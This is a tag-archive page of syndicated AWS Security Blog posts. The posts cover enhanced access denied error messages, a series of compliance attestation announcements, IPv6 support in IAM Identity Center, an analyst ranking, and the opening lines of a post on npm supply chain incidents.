Tag Archives: Foundational (100)

Enhanced access denied error messages with policy ARNs

Post Syndicated from Stella Hie original https://aws.amazon.com/blogs/security/enhanced-access-denied-error-messages-with-policy-arns/

To help you troubleshoot access denied errors, we recently added the Amazon Resource Name (ARN) of the denying policy to access denied error messages. This builds on our 2021 enhancement that added the type of the policy denying the access to access denied error messages. The ARN of the denying policy is only provided in same-account and same-organization scenarios. This change is gradually rolling out across all AWS services in all AWS Regions.

What changed?

We added the policy ARN to access denied error messages for AWS Identity and Access Management (IAM) and AWS Organizations policies. Because of this change, you can now pinpoint the exact policy causing the denial. You don’t have to evaluate all the policies of the same type in your AWS environment to identify the culprit. The policy types covered in this update are service control policies (SCPs), resource control policies (RCPs), permissions boundaries policies, session policies, and identity-based policies.

For example, when a developer attempts to perform the ListRoles action in IAM and is denied because of an SCP:

Before:
An error occurred (AccessDenied) when calling the ListRoles operation: User: arn:aws:iam::123456789012:user/Matt is not authorized to perform: iam:ListRoles on resource: arn:aws:iam::123456789012:role/* with an explicit deny in a service control policy

Enhanced:
An error occurred (AccessDenied) when calling the ListRoles operation: User: arn:aws:iam::123456789012:user/Matt is not authorized to perform: iam:ListRoles on resource: arn:aws:iam::123456789012:role/* with an explicit deny in a service control policy: arn:aws:organizations::987654321098:policy/o-qv5af4abcd/service_control_policy/p-2kgnabcd

How this enhancement works

This enhancement is designed with three principles:

  • Limited scope – Same account and same organization only: Policy ARNs are only included when the request originates from either the same AWS account or the same organization as the policy. This limits the scope of the flow of information.
  • Additional context in the form of ARN only and not policy content: The additional context covers only the policy ARN, which is a resource identifier, not the policy document itself. It does not reveal the policy’s permissions or conditions that you would have to update to grant access. Users would still need appropriate permissions to read the policy content or take actions.
  • No change to authorization logic: This enhancement only affects the error message displayed, not the authorization decision-making process. The same policies deny or allow access as before, and we are not changing how the decision is made.

How this benefits you

This accelerates troubleshooting across your organization. Previously, when you received an access denied error from a policy, for example an SCP, you had to review all SCPs in your organization, determine which applied to the account, and evaluate each one—a process that could take time. Now, with the specific SCP ARN included in the error message, whoever has the necessary permission can review the identified SCP and more quickly resolve the issue. This precision reduces the investigative burden. Clear error messages with policy ARNs also improve communication between teams who need access and teams who troubleshoot issues by providing a common reference point, eliminating ambiguity and reducing back-and-forth communication. Lastly, when validating security controls, the policy ARN in access denied errors provides immediate confirmation of which policy is enforcing the restriction, enabling customers to quickly verify their policies are correctly denying access.

How you can use the new information

Let’s say you’re trying to describe your Amazon Relational Database Service (Amazon RDS) snapshots in the us-east-2 Region by calling this API:
aws rds describe-db-snapshots --region us-east-2

Unfortunately you get an access denied error. The error message shows:
An error occurred (AccessDenied) when calling the DescribeDBSnapshots operation: User: arn:aws:sts::123456789012:assumed-role/ReadOnly/ReadOnlySession is not authorized to perform: rds:DescribeDBSnapshots on resource: arn:aws:rds:us-east-2:123456789012:snapshot:* with an explicit deny in a service control policy: arn:aws:organizations::987654321098:policy/o-qv5af4abcd/service_control_policy/p-lvi9abcd

You can see the context to understand what happens:

  • It’s an explicit deny. This means there’s a policy that denies this action for a specific context
  • The deny comes from the SCP with this ARN: arn:aws:organizations::987654321098:policy/o-qv5af4abcd/service_control_policy/p-lvi9abcd

Here’s how you can troubleshoot this error:

  1. Ensure you have necessary permission to view the SCP. If you don’t, contact your administrator and provide the message that includes the policy ARN.
  2. If you have the necessary permission, go to the AWS Management Console for AWS Organizations to access the SCP.
  3. Check for a Deny statement for the action. In the preceding example, the action is rds:DescribeDBSnapshots.
  4. You can alter the statement to remove the Deny if it’s no longer applicable. For more information, see Update a service control policy (SCP).
  5. Re-try your operation. Repeat the troubleshooting process if you get other access denied errors due to different reasons or policies.

When will this change become available?

This update is gradually rolling out across all AWS services in all AWS Regions, beginning early 2026.

Need more assistance?

If you have any questions or issues, contact AWS Support or your Technical Account Manager (TAM).

Stella Hie

Stella Hie

Stella is a Senior Technical Product Manager for AWS Identity and Access Management (IAM). She specializes in improving developer experience and tooling while maintaining strong security standards. Her work focuses on making IAM straightforward to use and improving the troubleshooting experience for AWS customers. In her free time, she enjoys playing piano and bouldering.

2025 FINMA ISAE 3000 Type II attestation report available with 183 services in scope

Post Syndicated from Tariro Dongo original https://aws.amazon.com/blogs/security/2025-finma-isae-3000-type-ii-attestation-report-available-with-183-services-in-scope/

Amazon Web Services (AWS) is pleased to announce the issuance of the Swiss Financial Market Supervisory Authority (FINMA) Type II attestation report with 183 services in scope.

The Swiss Financial Market Supervisory Authority (FINMA) has published several requirements and guidelines about engaging with outsourced services for the regulated financial services customers in Switzerland.

An independent third-party audit firm issued the report to assure customers that the AWS control environment is appropriately designed and operating effectively to support of adherence with FINMA requirements.

The latest report covers the 12-month period from October 1, 2024 to September 30, 2025 for the following circulars:

  • 2018/03 Outsourcing – banks, insurance companies and selected financial institutions under FinIA
  • 2023/01 Operational risks and resilience – banks
  • Business Continuity Management (BCM) minimum standards proposed by the Swiss Insurance Association.

AWS has added the following five services to the current FINMA scope:

Customers can find the FINMA ISAE 3000 report on AWS Artifact. AWS Artifact is a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console, or learn more at Getting Started with AWS Artifact.
Security and compliance is a shared responsibility between AWS and the customer. When customers move their computer systems and data to the cloud, security responsibilities are shared between the customer and the cloud service provider. For more information, see the AWS Shared Security Responsibility Model.

To learn more about our compliance and security programs, see AWS Compliance Programs. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

If you have feedback about this post, submit comments in the Comments section below

Tariro Dongo
Tariro Dongo

Tari is a Security Assurance Program Manager at AWS, based in London. Tari is responsible for third-party and customer audits, attestations, certifications, and assessments across EMEA. Previously, Tari worked in security assurance and technology risk in the big four and financial services industry over the last 15 years.

2025 PiTuKri ISAE 3000 Type II attestation report available with 183 services in scope

Post Syndicated from Tariro Dongo original https://aws.amazon.com/blogs/security/2025-pitukri-isae-3000-type-ii-attestation-report-available-with-183-services-in-scope/

Amazon Web Services (AWS) is pleased to announce the issuance of the Criteria to Assess the Information Security of Cloud Services (PiTuKri) Type II attestation report with 183 services in scope.

The Finnish Transport and Communications Agency (Traficom) Cyber Security Centre published PiTuKri, which consists of 52 criteria that provide guidance across 11 domains for assessing the security of cloud service providers.

An independent third-party audit firm issued the report to assure customers that the AWS control environment is appropriately designed and operating effectively to demonstrate adherence with PiTuKri requirements. This attestation demonstrates the AWS commitment to meet security expectations for cloud service providers set by Traficom.

The latest report covers a 12-month period from October 1, 2024 to September 30, 2025. AWS has added the following five services to the current PiTuKri scope:

Customers can find the PiTuKri ISAE 3000 report on AWS Artifact. AWS Artifact is a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console, or learn more at Getting Started with AWS Artifact.

Security and compliance is a shared responsibility between AWS and the customer. When customers move their computer systems and data to the cloud, security responsibilities are shared between the customer and the cloud service provider. For more information, see the AWS Shared Security Responsibility Model.

To learn more about our compliance and security programs, see AWS Compliance Programs. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

If you have feedback about this post, submit comments in the Comments section below

Tariro Dongo
Tariro Dongo

Tari is a Security Assurance Program Manager at AWS, based in London. Tari is responsible for third-party and customer audits, attestations, certifications, and assessments across EMEA. Previously, Tari worked in security assurance and technology risk in the big four and financial services industry over the last 15 years.

AWS successfully completed its first surveillance audit for ISO 42001:2023 with no findings

Post Syndicated from Atulsing Patil original https://aws.amazon.com/blogs/security/aws-successfully-completed-its-first-surveillance-audit-for-iso-420012023-with-no-findings/

In November 2024, Amazon Web Services (AWS) was the first major cloud service provider to announce the ISO/IEC 42001 accredited certification for AI services, covering: Amazon Bedrock, Amazon Q Business, Amazon Textract, and Amazon Transcribe.

In November 2025, AWS successfully completed its first surveillance audit for ISO 42001:2023, Artificial Intelligence Management System with no findings.

This demonstrates the continual commitment of AWS to responsible AI practices. With this independent validation, our customers can gain further assurances around the AWS commitment to responsible AI and their ability to build and operate AI applications responsibly using AWS services.

For a full list of AWS services that are certified under ISO and CSA STAR, see the AWS ISO and CSA STAR Certified page. Customers can also access the certifications in the AWS Management Console through AWS Artifact.

If you have feedback about this post, submit comments in the Comments section below.
 

Atul Patil

Atulsing Patil
Atulsing is a Compliance Program Manager at AWS. He has 27 years of consulting experience in information technology and information security management. Atulsing holds a Master of Science in Electronics degree and professional certifications such as CCSP, CISSP, CISM, CDPSE, ISO 27001 Lead Auditor, HITRUST CSF, Archer Certified Consultant, and AWS CCP.

IAM Identity Center now supports IPv6

Post Syndicated from Suchintya Dandapat original https://aws.amazon.com/blogs/security/iam-identity-center-now-supports-ipv6/

Amazon Web Services (AWS) recommends using AWS IAM Identity Center to provide your workforce access to AWS managed applications—such as Amazon Q Developer—and AWS accounts. Today, we announced IAM Identity Center support for IPv6. To learn more about the advantages of IPv6, visit the IPv6 product page.

When you enable IAM Identity center, it provides an access portal for workforce users to access their AWS applications and accounts either by signing in to the access portal using a URL or by using a bookmark for the application URL. In either case, the access portal handles user authentication before granting access to applications and accounts. Supporting both IPv4 and IPv6 connectivity to the access portal helps facilitate seamless access for clients, such as browsers and applications, regardless of their network configuration.

The launch of IPv6 support in IAM Identity Center introduces new dual-stack endpoints that support both IPv4 and IPv6, so that users can connect using IPv4, IPv6, or dual-stack clients. Current IPv4 endpoints continue to function with no action required. The dual stack capability offered by Identity Center extends to managed applications. When users access the application dual-stack endpoint, the application automatically routes to the Identity Center dual-stack endpoint for authentication. To use Identity Center from IPv6 clients, you must direct your workforce to use the new dual-stack endpoints, and update configurations on your external identity provider (IdP), if you use one.

In this post, we show you how to update your configuration to allow IPv6 clients to connect directly to IAM Identity Center endpoints without requiring network address translation services. We also show you how to monitor which endpoint users are connecting to. Before diving into the implementation details, let’s review the key phases of the transition process.

Transition overview

To use IAM Identity Center from an IPv6 network and client, you need to use the new dual-stack endpoints. Figure 1 shows what the transition from IPv4 to IPv6 over dual-stack endpoints looks like when using Identity Center. The figure shows:

  • A before state where clients use the IPv4 endpoints.
  • The transition phase, when your clients use a combination of IPv4 and dual-stack endpoints.
  • After the transition is complete, your clients will connect to dual-stack endpoints using their IPv4 or IPv6, depending on their preferences.

Figure 1: Transition from IPv4-only to dual-stack endpoints

Figure 1: Transition from IPv4-only to dual-stack endpoints

Prerequisites

You must have the following prerequisites in place to enable IPv6 access for your workforce users and administrators:

  • An existing IAM Identity Center instance
  • Updated firewalls or gateways to include the new dual-stack endpoints
  • IPv6 capable clients and networks

Work with your network administrators to update the configuration of your firewalls and gateways and to verify that your clients, such as laptops or desktops, are ready to accept IPv6 connectivity. If you have already enabled IPv6 connectivity for other AWS services, you might be familiar with these changes. Next, implement the two steps that follow.

Step 1: Update your IdP configuration

You can skip this step If you don’t use an external IdP as your identity source.

In this step, you update the Assertion Consumer Service (ACS) URL from your IAM Identity Center instance into your IdP’s configuration for single sign-on and the SCIM configuration for user provisioning. Your IdP’s capability determines how you update the ACS URLs. If your IdP supports multiple ACS URLs, configure both IPv4 and dual-stack URLs to enable a flexible transition. With that configuration, some users can continue using IPv4-only endpoints while others use dual-stack endpoints for IPv6. If your IdP supports only one ACS URL, to use IPv6 you must update the new dual-stack ACS URL in your IdP and transition all users to using dual-stack endpoints. If you don’t use an external IdP, you can skip this step and go to the next step.

Update both the SAML single sign-on and the SCIM provisioning configurations:

  1. Update the single sign-on settings in your IdP to use the new dual-stack URLs. First, locate the URLs in the AWS Management Console for IAM Identity Center.
    1. Choose Settings in the navigation pane and then select Identity source.
    2. Choose Actions and select Manage authentication.
    3. in Under Manage SAML 2.0 authentication, you will find the following URLs under Service provider metadata:
      • AWS access portal sign-in URL
      • IAM Identity Center Assertion Consumer Service (ACS) URL
      • IAM Identity Center issuer URL
  2. If your IdP supports multiple ACS URLs, then add the dual-stack URL to your IdP configuration alongside existing IPv4 one. With this setting, you and your users can decide when to start using the dual-stack endpoints, without all users in your organization having to switch together.

    Figure 2: Dual-stack single sign-on URLs

    Figure 2: Dual-stack single sign-on URLs

  3. If your IdP does not support multiple ACS URLs, replace the existing IPv4 URL with the new dual-stack URL, and switch your workforce to use only the dual-stack endpoints.
  4. Update the provisioning endpoint in your IdP. Choose Settings in the navigation pane and under Identity source, choose Actions and select Manage provisioning. Under Automatic provisioning, copy the new SCIM endpoint that ends in api.aws. Update this new URL in your external IdP.

    Figure 3: Dual-stack SCIM endpoint URL

    Figure 3: Dual-stack SCIM endpoint URL

Step 2: Locate and share the new dual-stack endpoints

Your organization needs two kinds of URLs for IPv6 connectivity. The first is the new dual-stack access portal URL that your workforce users use to access their assigned AWS applications and accounts. The dual-stack access portal URL is available in the IAM Identity Center console, listed as the Dual-stack in the Settings summary (you might need to expand the Access portal URLs section, shown in Figure 4).

Figure 4: Locate dual-stack access portal endpoints

Figure 4: Locate dual-stack access portal endpoints

This dual-stack URL ends with app.aws as its top-level domain (TLD). Share this URL with your workforce and ask them to use this dual-stack URL to connect over IPv6. As an example, if your workforce uses the access portal to access AWS accounts, they will need to sign in through the new dual-stack access portal URL when using IPv6 connectivity. Alternately, if your workforce accesses the application URL, you need to enable the dual-stack application URL following application-specific instructions. For more information, see AWS services that support IPv6.

The URLs that administrators use to manage IAM Identity Center are the second kind of URL your organization needs. The new dual-stack service endpoints end in api.aws as their TLD and are listed in the Identity Center service endpoints. Administrators can use these service endpoints to manage users and groups in Identity Center, update their access to applications and resources, and perform other management operations. As an example, if your administrator uses identitystore.{region}.amazonaws.com to manage users and groups in Identity Center, they should now use the dual-stack version of the same service endpoint which is identitystore.{region}.api.aws, so they can connect to service endpoints using IPv6 clients and networks.

If your users or administrators use an AWS SDK to access AWS applications and accounts or manage services, follow Dual-stack and FIPS endpoints to enable connectivity to the dual-stack endpoints.

After completing these two steps, your workforce and administrators can connect to IAM Identity Center using IPv6. Remember, these endpoints also support IPv4, so clients not yet IPv6-capable can continue to connect using IPv4.

Monitoring dual-stack endpoint usage

You can optionally monitor AWS CloudTrail logs to track usage of dual-stack endpoints. The key difference between IPv4-only and dual-stack endpoint usage is the TLD and appears in the clientProvidedHostHeader field. The following example shows the difference between these CloudTrail events for the CreateTokenWithIAM API call.

IPv4-only endpoints Dual-stack endpoints 
"CloudTrailEvent": {
  "eventName": "CreateToken",
  "tlsDetails": {
     "tlsVersion": "TLSv1.3",
     "cipherSuite": "TLS_AES_128_GCM_SHA256",
     "clientProvidedHostHeader": "oidc.us-east-1.amazonaws.com"
  }
}

 
"CloudTrailEvent": {
  "eventName": "CreateToken",
  "tlsDetails": {
     "tlsVersion": "TLSv1.3",
     "cipherSuite": "TLS_AES_128_GCM_SHA256",
     "clientProvidedHostHeader": "oidc.us-east-1.api.aws"
  }
}

Conclusion

IAM Identity Center now allows clients to connect over IPv6 natively with no network address translation infrastructure. This post showed you how to transition your organization to use IPv6 with Identity Center and its integrated applications. Remember that existing IPv4 endpoints will continue to function, so you can transition at your own pace. Also, no immediate action is required by you. However, we recommend planning your transition to take advantage of IPv6 benefits and meet compliance requirements. If you have questions, comments, or concerns, contact AWS Support, or start a new thread in the IAM Identity Center re:Post channel.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Suchintya Dandapat
Suchintya Dandapat

Suchintya Dandapat is a Principal Product Manager for AWS where he partners with enterprise customers to solve their toughest identity challenges, enabling secure operations at global scale.

Updated PCI PIN compliance package for AWS CloudHSM now available

Post Syndicated from Tushar Jain original https://aws.amazon.com/blogs/security/updated-pci-pin-compliance-package-for-aws-cloudhsm-now-available/

Amazon Web Services (AWS) is pleased to announce the successful completion of Payment Card Industry Personal Identification Number (PCI PIN) audit for the AWS CloudHSM service.

With CloudHSM, you can manage and access your keys on FIPS 140-3 Level 3 validated hardware, protected with customer-owned, single-tenant hardware security module (HSM) instances that run in your own virtual private cloud (VPC). This PCI PIN attestation gives you the flexibility to deploy your regulated workloads with reduced compliance overhead. CloudHSM might be suitable when operations supported by the service are integrated into a broader solution that requires PCI-PIN compliance. For payment operations, such as PIN translation, we encourage you to consider AWS Payment Cryptography as a fully managed alternative for PCI-PIN compliance.

The PCI PIN compliance report package for AWS CloudHSM includes two key components:

  • PCI PIN Attestation of Compliance (AOC) – demonstrating that AWS CloudHSM was successfully validated against the PCI PIN standard with zero findings
  • PCI PIN Responsibility Summary – provides guidance to help AWS customers understand their responsibilities in developing and operating a highly secure environment for handling PIN-based transactions

AWS was evaluated by Coalfire, a third-party Qualified Security Assessor (QSA). Customers can access the PCI PIN Attestation of Compliance (AOC) and PCI PIN Responsibility Summary reports through AWS Artifact.

To learn more about our PCI program and other compliance and security programs, see the AWS Compliance Programs page. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Tushar Jain

Tushar Jain

Tushar is a Compliance Program Manager at AWS. He leads multiple security and privacy initiatives within AWS. Tushar holds a Master of Business Administration from Indian Institute of Management Shillong, India and a Bachelor of Technology in electronics and telecommunication engineering from Marathwada University, India. He has over 13 years of experience in information security and holds CCSK and CSXF certifications.

Will Black

Will Black

Will is a Compliance Program Manager at Amazon Web Services. He leads multiple security and compliance initiatives within AWS. He has ten years of experience in compliance and security assurance and holds a degree in Management Information Systems from Temple University. Additionally, he holds the CCSK and ISO 27001 Lead Implementer certifications.

Updated PCI PIN compliance package for AWS Payment Cryptography now available

Post Syndicated from Tushar Jain original https://aws.amazon.com/blogs/security/updated-pci-pin-compliance-package-for-aws-payment-cryptography-now-available/

Amazon Web Services (AWS) is pleased to announce the successful completion of Payment Card Industry Personal Identification Number (PCI PIN) audit for the AWS Payment Cryptography service.

With AWS Payment Cryptography, your payment processing applications can use payment hardware security modules (HSMs) that are PCI PIN Transaction Security (PTS) HSM certified and fully managed by AWS, with PCI PIN-compliant key management. This attestation gives you the flexibility to deploy your regulated workloads with reduced compliance overhead.

The PCI PIN compliance report package for AWS Payment Cryptography includes two key components:

  • PCI PIN Attestation of Compliance (AOC) – demonstrating that AWS Payment Cryptography was successfully validated against the PCI PIN standard with zero findings
  • PCI PIN Responsibility Summary – provides guidance to help AWS customers understand their responsibilities in developing and operating a highly secure environment for handling PIN-based transactions

AWS was evaluated by Coalfire, a third-party Qualified Security Assessor (QSA). Customers can access the PCI PIN Attestation of Compliance (AOC) and PCI PIN Responsibility Summary reports through AWS Artifact.

To learn more about our PCI programs and other compliance and security programs, visit the AWS Compliance Programs page. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Compliance Support page.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Tushar Jain

Tushar Jain

Tushar is a Compliance Program Manager at AWS. He leads multiple security and privacy initiatives within AWS. Tushar holds a Master of Business Administration from Indian Institute of Management Shillong, India and a Bachelor of Technology in electronics and telecommunication engineering from Marathwada University, India. He has over 13 years of experience in information security and holds CCSK and CSXF certifications.

Will Black

Will Black

Will is a Compliance Program Manager at Amazon Web Services. He leads multiple security and compliance initiatives within AWS. He has ten years of experience in compliance and security assurance and holds a degree in Management Information Systems from Temple University. Additionally, he holds the CCSK and ISO 27001 Lead Implementer certifications.

AWS achieves 2025 C5 Type 2 attestation report with 183 services in scope 

Post Syndicated from Tea Jioshvili original https://aws.amazon.com/blogs/security/aws-achieves-2025-c5-type-2-attestation-report-with-183-services-in-scope/

Amazon Web Services (AWS) is pleased to announce a successful completion of the 2025 Cloud Computing Compliance Criteria Catalogue (C5) attestation cycle with 183 services in scope. This alignment with C5 requirements demonstrates our ongoing commitment to adhere to the heightened expectations for cloud service providers. AWS customers in Germany and across Europe can run their applications in the AWS Regions that are in scope of the C5 report with the assurance that AWS aligns with C5 criteria.

The C5 attestation scheme is backed by the German government and was introduced by the Federal Office for Information Security (BSI) in 2016. AWS has adhered to the C5 requirements since their inception. C5 helps organizations demonstrate operational security against common cybersecurity threats when using cloud services.

Independent third-party auditors evaluated AWS for the period of October 1, 2024, through September 30, 2025. The C5 report illustrates the compliance status of AWS for both the basic and additional criteria of C5. Customers can download the C5 report through AWS Artifact, a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console or learn more at Getting Started with AWS Artifact.

AWS has added the following five services to the current C5 scope:

The following AWS Regions are in scope of the 2025 C5 attestation: Europe (Frankfurt), Europe (Ireland), Europe (London), Europe (Milan), Europe (Paris), Europe (Stockholm), Europe (Spain), Europe (Zurich), and Asia Pacific (Singapore). For up-to-date information, see the C5 page of our AWS Services in Scope by Compliance Program.

Security and compliance is a shared responsibility between AWS and the customer. When customers move their computer systems and data to the cloud, security responsibilities are shared between the customer and the cloud service provider. For more information, see the AWS Shared Security Responsibility Model.

To learn more about our compliance and security programs, see AWS Compliance Programs. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

Reach out to your AWS account team if you have questions or feedback about the C5 report.
If you have feedback about this post, submit comments in the Comments section below.

Tea Jioshvili

Tea Jioshvili

Tea is a Manager in AWS Compliance & Security Assurance based in Berlin, Germany. She leads various third-party audit programs across Europe. She previously worked in security assurance and compliance, business continuity, and operational risk management in the financial industry for 20 years.

AWS renews the GSMA SAS-SM certification for two AWS Regions and expands to cover four new Regions

Post Syndicated from Michael Murphy original https://aws.amazon.com/blogs/security/aws-renews-the-gsma-sas-sm-certification-for-two-aws-regions-and-expands-to-cover-four-new-regions/

Amazon Web Services (AWS) is pleased to announce the expansion of GSMA Security Accreditation Scheme for Subscription Management (SAS-SM) certification to four new AWS Regions: US West (Oregon), Europe (Frankfurt), Asia Pacific (Tokyo), and Asia Pacific (Singapore). Additionally, the AWS US East (Ohio) and Europe (Paris) Regions have been recertified. All certifications are under the GSM Association (GSMA) SAS-SM with scope Data Centre Operations and Management (DCOM). AWS was evaluated by GSMA-selected independent third-party auditors, and all Region certifications are valid through October 2026. The Certificate of Compliance that shows AWS achieved GSMA compliance status is available on both the GSMA and AWS websites.

The US East (Ohio) Region first obtained GSMA certification in September 2021, and the Europe (Paris) Region first obtained GSMA certification in October 2021. Since then, multiple independent software vendors (ISVs) have inherited the controls of our SAS-SM DCOM certification to build GSMA compliant subscription management or eSIM (embedded subscriber identity module) services on AWS. For established market leaders, this reduces technical debt while meeting the scalability and performance needs of their customers. Startups innovating with eSIM solutions can accelerate their time to market by many months, compared to on-premises deployments.

Until 2023, the shift from physical subscriber identity modules (SIMs) to eSIMs was primarily driven by automotives, cellular connected wearables, and companion devices such as tablets. GSMA is promoting the SGP.31 and SGP.32 specifications, which standardize protocols and guarantee compatibility and consistent user experience for all eSIM devices spanning smartphones, IoT, smart home, industrial Internet of Things (IoT), and so on. As more device manufacturers launch eSIM only models, our customers are demanding robust, cloud-centered eSIM solutions. Over 400 telecom operators around the world now support eSIM services for their subscribers. Hosting eSIM platforms in the cloud allows them to integrate efficiently with their next generation cloud-based operations support systems (OSS) and business support systems (BSS).

The AWS expansion to certify four new Regions into scope in November 2025 demonstrates our continuous commitment to adhere to the heightened expectations for cloud service providers and extends our global coverage for GSMA-certified infrastructure. With two GSMA-certified Regions in the US, EU, and Asia respectively, customers can now build geo-redundant eSIM solutions to improve their disaster recovery and resiliency posture.

For up-to-date information related to the certification, see the AWS GSMA Compliance Program page.

To learn more about our compliance and security programs, see AWS Compliance Programs. As always, we value your feedback and questions; reach out to the AWS Compliance team through the Contact Us page. If you have feedback about this post, submit comments in the Comments section below.

Michael Murphy

Michael Murphy

Michael is a Compliance Program Manager at AWS where he leads multiple security and privacy initiatives. Michael has over 14 years of experience in information security and holds a master’s degree and a bachelor’s degree in computer engineering from Stevens Institute of Technology. He also holds CISSP, CRISC, CISA, and CISM certifications.

Noah Miller

Noah Miller

Noah is a Compliance Program Manager at AWS and supports multiple security and privacy initiatives within AWS. Noah has 6 years of experience in information security. He has a master’s degree in Cybersecurity Risk Management and a bachelor’s degree in informatics from Indiana University.

Nyef Khan

Nayef Khan

Nayef Khan is a Senior Solutions Architect at AWS in Canada, with over 15 years of experience in security assurance across financial and telecom industries. He is passionate about using cloud technologies to solve real-life customer challenges. Nayef has collaborated with a numerous Telecom customers globally throughout his career, launching industry-first solutions like mobile payments and eSIM. He holds an MBA in Strategic Management from Wilfrid Laurier University, and a bachelor’s degree in Computer Engineering from the University of Waterloo.

Fall 2025 SOC 1, 2, and 3 reports are now available with 185 services in scope

Post Syndicated from Tushar Jain original https://aws.amazon.com/blogs/security/fall-2025-soc-1-2-and-3-reports-are-now-available-with-185-services-in-scope/

Amazon Web Services (AWS) is pleased to announce that the Fall 2025 System and Organization Controls (SOC) 1, 2, and 3 reports are now available. The reports cover 185 services over the 12-month period from October 1, 2024–September 30, 2025, giving customers a full year of assurance. These reports demonstrate our continuous commitment to adhering to the heightened expectations of cloud service providers.

Customers can download the Fall 2025 SOC 1 and 2 reports through AWS Artifact, a self-service portal for on-demand access to AWS compliance reports. Sign in to AWS Artifact in the AWS Management Console, or learn more at Getting Started with AWS Artifact. The SOC 3 report can be found on the AWS SOC Compliance Page.

AWS strives to continuously bring services into the scope of its compliance programs to help customers meet their architectural and regulatory needs. You can view the current list of services in scope on our Services in Scope page. As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback about SOC compliance.

To learn more about AWS compliance and security programs, see AWS Compliance Programs. As always, we value feedback and questions; reach out to the AWS Compliance team through the Contact Us page.

If you have feedback about this post, submit comments in the Comments section below.

Tushar Jain

Tushar Jain
Tushar is a Compliance Program Manager at AWS where he leads multiple security and privacy initiatives. Tushar holds a Master of Business Administration from the Indian Institute of Management Shillong, India, and a Bachelor of Technology in electronics and telecommunication engineering from Marathwada University, India. He has over 13 years of experience in information security and holds CISM, CCSK, and CSXF certifications.

Michael Murphy

Michael Murphy
Michael is a Compliance Program Manager at AWS where he leads multiple security and privacy initiatives. Michael has over 14 years of experience in information security and holds a master’s degree and a bachelor’s degree in computer engineering from Stevens Institute of Technology. He also holds CISSP, CRISC, CISA, and CISM certifications.

Nathan Samuel

Nathan Samuel
Nathan is a Compliance Program Manager at AWS where he leads multiple security and privacy initiatives. Nathan has a Bachelor of Commerce degree from the University of the Witwatersrand, South Africa, and has over 21 years of experience in security assurance. He holds the CISA, CRISC, CGEIT, CISM, CDPSE, and Certified Internal Auditor certifications.

Gabby Iem

Gabby Iem
Gabby is a Program Manager at AWS. She supports multiple initiatives within AWS security assurance and has recently received her bachelor’s degree from Chapman University studying business administration.

Jeff Cheung

Jeff Cheung
Jeff is a Technical Program Manager at AWS where he leads multiple security and privacy initiatives across business lines. Jeff has Bachelor’s degrees in Information Systems and Economics from SUNY Stony Brook and has over 20 years of experience in information security and assurance. Jeff has held professional certifications such as CISA, CISM, and PCI-QSA.

Noah Miller

Noah Miller
Noah is a Compliance Program Manager at AWS and supports multiple security and privacy initiatives within AWS. Noah has 6 years of experience in information security. He has a master’s degree in Cybersecurity Risk Management and a bachelor’s degree in Informatics from Indiana University.

Will Black

Will Black
Will is a Compliance Program Manager at Amazon Web Services where he leads multiple security and compliance initiatives. Will has 10 years of experience in compliance and security assurance and holds a degree in Management Information Systems from Temple University. Additionally, he is a PCI Internal Security Assessor (ISA) for AWS and holds the CCSK and ISO 27001 Lead Implementer certifications.

AWS named Leader in the 2025 ISG report for Sovereign Cloud Infrastructure Services (EU)

Post Syndicated from Brittany Bunch original https://aws.amazon.com/blogs/security/aws-named-leader-in-the-2025-isg-report-for-sovereign-cloud-infrastructure-services-eu/

For the third year in a row, Amazon Web Services (AWS) is named as a Leader in the Information Services Group (ISG) Provider LensTM Quadrant report for Sovereign Cloud Infrastructure Services (EU), published on January 8, 2026. ISG is a leading global technology research, analyst, and advisory firm that serves as a trusted business partner to more than 900 clients. This ISG report evaluates 19 providers of sovereign cloud infrastructure services in the multi-public-cloud environment and examines how they address the key challenges that enterprise clients face in the European Union (EU). ISG defines Leaders as providers who represent innovative strength and competitive stability.

ISG rated AWS ahead of other leading cloud providers on both the competitive strength and portfolio attractiveness axes, with the highest score on portfolio attractiveness. Competitive strength was assessed on multiple factors, including degree of awareness, core competencies, and go-to-market strategy. Portfolio attractiveness was assessed on multiple factors, including scope of portfolio, portfolio quality, strategy and vision, and local characteristics.

According to ISG, “AWS’s infrastructure provides robust resilience and availability, supported by a sovereign-by-design architecture that ensures data residency and regional independence.”

Read the report to:

  • Discover why AWS was named as a Leader with the highest score on portfolio attractiveness by ISG.
  • Gain further understanding on how the AWS Cloud is sovereign-by-design and how it continues to offer more control and more choice without compromising on the full power of AWS.
  • Learn how AWS is delivering on its Digital Sovereignty Pledge and is investing in an ambitious roadmap of capabilities for data residency, granular access restriction, encryption, and resilience.

AWS’s recognition as a Leader in this report for the third consecutive year underscores our commitment to helping European customers and partners meet their digital sovereignty and resilience requirements. We are building on the strong foundation of security and resilience that has underpinned AWS services, including our long-standing commitment to customer control over data residency, our design principal of strong regional isolation, our deep European engineering roots, and our more than a decade of experience operating multiple independent clouds for the most critical and restricted workloads.

Download the full 2025 ISG Provider Lens Quadrant report for Sovereign Cloud Infrastructure Services (EU).

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Brittany Bunch
Brittany Bunch

Brittany is a Product Marketing Manager on the AWS Security Marketing team based in Atlanta. She focuses on digital sovereignty and brings over a decade of experience in brand marketing, including employer branding at Amazon. Prior to AWS, she led brand marketing initiatives at several large enterprise companies.

What AWS Security learned from responding to recent npm supply chain threat campaigns

Post Syndicated from Nikki Pahliney original https://aws.amazon.com/blogs/security/what-aws-security-learned-from-responding-to-recent-npm-supply-chain-threat-campaigns/

AWS incident response operates around the clock to protect our customers, the AWS Cloud, and the AWS global infrastructure. Through that work, we learn from a variety of issues and spot unique trends.

